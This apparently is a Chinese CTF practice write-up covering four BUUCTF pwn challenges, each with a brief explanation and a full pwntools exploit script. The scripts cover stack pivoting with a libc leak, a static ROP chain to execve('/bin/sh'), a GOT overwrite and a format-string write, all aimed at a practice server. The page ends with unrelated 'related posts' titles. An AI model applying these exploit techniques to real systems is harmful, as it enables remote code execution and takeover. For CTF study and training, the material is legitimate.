PWN-PRACTICE-BUUCTF-20

  • actf_2019_babystack
  • picoctf_2018_can_you_gets_me
  • picoctf_2018_got_shell
  • mrctf2020_easy_equation

actf_2019_babystack

两次栈迁移

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
#io=process("./ACTF_2019_babystack")
io=remote("node4.buuoj.cn",25080)
elf=ELF("./ACTF_2019_babystack")
libc=ELF("./libc-2.27-18-x64.so")
leave_ret=0x0000000000400A18
pop_rdi_ret=0x0000000000400ad3
ret=0x0000000000400709
atol_got=elf.got["atol"]
puts_plt=elf.plt["puts"]
main=0x00000000004008F6io.sendlineafter(">","224")io.recvuntil("be saved at 0x")
stack_addr=int(io.recvuntil("\n")[:-1],16)#栈上,输入的起始地址
print("stack_addr=="+hex(stack_addr))#payload中最开始的"a"*8是抵消pop rbp
payload="a"*8+p64(pop_rdi_ret)+p64(atol_got)+p64(puts_plt)+p64(main)
payload=payload.ljust(208,"\x00")
payload+=p64(stack_addr)+p64(leave_ret)#覆盖正常流程的rbp为输入的起始地址,返回到leave_ret的gadget
io.sendafter(">",payload)
atol_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("atol_addr=="+hex(atol_addr))
libc_base=atol_addr-libc.sym["atol"]
system=libc_base+libc.sym["system"]
binsh=libc_base+libc.search("/bin/sh").next()#重复一次上面的操作,这次执行system("/bin/sh"),输入的起始地址改变,需重新获取
io.sendlineafter(">","224")
io.recvuntil("be saved at 0x")
stack_addr=int(io.recvuntil("\n")[:-1],16)
print("stack_addr=="+hex(stack_addr))
payload="a"*8+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main)
payload=payload.ljust(208,"\x00")
payload+=p64(stack_addr)+p64(leave_ret)
io.sendafter(">",payload)io.interactive()

picoctf_2018_can_you_gets_me

32位elf,静态编译
可用ROPgadget直接形成ROP链

ROPgadget --binary PicoCTF_2018_can-you-gets-me --ropchain

然后就是栈溢出,ROP

from pwn import *
from struct import pack
#io=process('./PicoCTF_2018_can-you-gets-me')
io=remote('node4.buuoj.cn',25065)
def ROPchain():p = 'a'*(0x18+4)p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b81c6) # pop eax ; retp += '/bin'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea064) # @ .data + 4p += pack('<I', 0x080b81c6) # pop eax ; retp += '//sh'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049303) # xor eax, eax ; retp += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080de955) # pop ecx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049303) # xor eax, eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0806cc25) # int 0x80return p
payload=ROPchain()
io.recvuntil('GIVE ME YOUR NAME!\n')
io.sendline(payload)
io.interactive()

picoctf_2018_got_shell

32位elf,可以执行一次任意写
在执行完任意写后还有一条puts语句,于是可以通过puts_got修改puts的实际地址为win的地址

from pwn import *
#io=process('./PicoCTF_2018_got-shell')
io=remote('node4.buuoj.cn',29148)
elf=ELF('./PicoCTF_2018_got-shell')
puts_got=elf.got['puts']
win_addr=elf.sym['win']
io.recvuntil("this 4 byte value?\n")
io.sendline(hex(puts_got))
io.recvuntil("\n")
io.sendline(hex(win_addr))
io.interactive()

mrctf2020_easy_equation

格式化字符串漏洞,将变量judge的值覆写为2,即可满足等式

from pwn import *
#io=process('./mrctf2020_easy_equation')
io=remote('node4.buuoj.cn',27776)
judge=0x60105C
payload='aa%9$naaa'+p64(judge)
io.sendline(payload)
io.interactive()

PWN-PRACTICE-BUUCTF-20相关推荐

  1. 金海佳学C++primer 练习9.20

    将list中的元素按奇偶分到两个deque中 Practice 9.20 #include <iostream> #include <string> #include < ...

  2. 基于软件分析的智能化开发新型服务与技术

    摘要:从云服务厂商的角度来给大家介绍一下,当前业界围绕该领域要做哪些事情. 本文分享自华为云社区<基于软件分析的智能化开发新型服务与技术>,作者:敏捷的小智 . 本文以技术文章的方式回顾梁 ...

  3. 软件人员推荐书目(都是国外经典书籍!!!)

    软件人员推荐书目(一) 大师篇 一. 科学哲学和管理哲学  [1] "程序开发心理学"(The Psychology of Computer Programming : Silve ...

  4. C++程序设计原理与实践 习题答案 第十五章 第15章习题答案

    第十五章:容器和迭代器 习题答案 Document 本章的文本编辑器实现,添加了一些功能 Document.h Document.cpp main.cpp 测试 List_Circular.h 我自己 ...

  5. 《安富莱嵌入式周报》第311期:300V可调节全隔离USB PD电源,开源交流负载分析仪,CANFD Trace,6位半多斜率精密ADC设计,开源数学库

    周报汇总地址:嵌入式周报 - uCOS & uCGUI & emWin & embOS & TouchGFX & ThreadX - 硬汉嵌入式论坛 - Pow ...

  6. 计算机专业经典著作(转载)

    计算机专业经典著作 国外计算机专业必读的经典教材: 1. Introduction to Algorithms (3rd Edition) <算法导论(原书第3版)> 2. Thinkin ...

  7. MASA Framework 命令查询职责分离

    概念 CQRS (https://learn.microsoft.com/zh-cn/azure/architecture/patterns/cqrs)是一种与领域驱动设计和事件溯源相关的架构模式, ...

  8. SSM+mysql公众养老服务网上预订系统-计算机毕业设计源码59782

    摘 要 本论文主要论述了如何使用JAVA语言开发一个公众养老服务网上预订系统,本系统将严格按照软件开发流程进行各个阶段的工作,采用B/S架构,SSM框架进行开发.在引言中,作者将论述公众养老服务网上预 ...

  9. springboot大学生综合素质测评系统 计算机毕设源码51615

    摘  要 为全面提高教育管理水平,建立一个大学生综合素质测评管理系统已经成为目前各高校的共识.本文从实践经验出发,阐述目前高校学生工作管理的信息化现状﹔然后提出大学生综合素质测评管理系统的必要性以及系 ...

  10. springboot+mysql大学生综合素质测评系统源码51615

    springboot大学生综合素质测评系统 摘  要 为全面提高教育管理水平,建立一个大学生综合素质测评管理系统已经成为目前各高校的共识.本文从实践经验出发,阐述目前高校学生工作管理的信息化现状﹔然后 ...

最新文章

  1. Centos 7 学习之静态IP设置
  2. 直播回顾 | 数据驱动实践的三大运营场景讲解
  3. php5.6 event,php安装event扩展
  4. Android之在linux环境不通过TAG快速过滤日志
  5. ThinkPHP整合百度Ueditor图文教程
  6. Error--解决使用Application Loader提交ipa包审核时的报错:ERROR ITMS-90168: The binary you uploaded was invalid....
  7. MySQL内连接和外连接
  8. linux杂谈(十七):iscsi存储分离技术
  9. 原始的Ajax请求方式 (XMLHttpRequest)
  10. tcpcopy,模拟在线MySQL压力测试的好帮手
  11. 软件需求最佳实践笔记(一)
  12. UE4特效萌新上手笔记-Houdini导Niagara配置
  13. Android DataStore 使用详解
  14. 国考省考申论:归纳概括多个主体身上的优秀品质,透过动词现象(怎么做的),找到名词(精神品质)本质
  15. 自然语言理解和自然语言处理_4种自然语言处理和理解的方法
  16. Android 导出PDF PdfDocument
  17. python 求最大内切圆和最小外接圆问题
  18. 小程序完整demo推荐:东航旅行;预订酒店,机票(适用1221)
  19. 杀怪物(dfs)题解
  20. 使用PyQT进行可视化编程

热门文章

  1. AWK高级编程 转载
  2. 【数据结构与算法】【算法思想】动态规划
  3. [剑指offer]面试题第[43]题[Leetcode][第233题][JAVA][1~n整数中1出现的次数][找规律][递归]
  4. [leedcode][409][java]
  5. python第三方库全部_自动更新Python所有第三方库
  6. python装饰器调用顺序_聊一聊Python装饰器的代码执行顺序
  7. mysql日期可以保存时区_数据库存储时间的时区问题
  8. 包装类java_Java 包装类
  9. 笔记本如何与其他计算机共享,笔记本电脑怎么和手机共享文件
  10. leetcode数组汇总_[LeetCode] 300. 最长上升子序列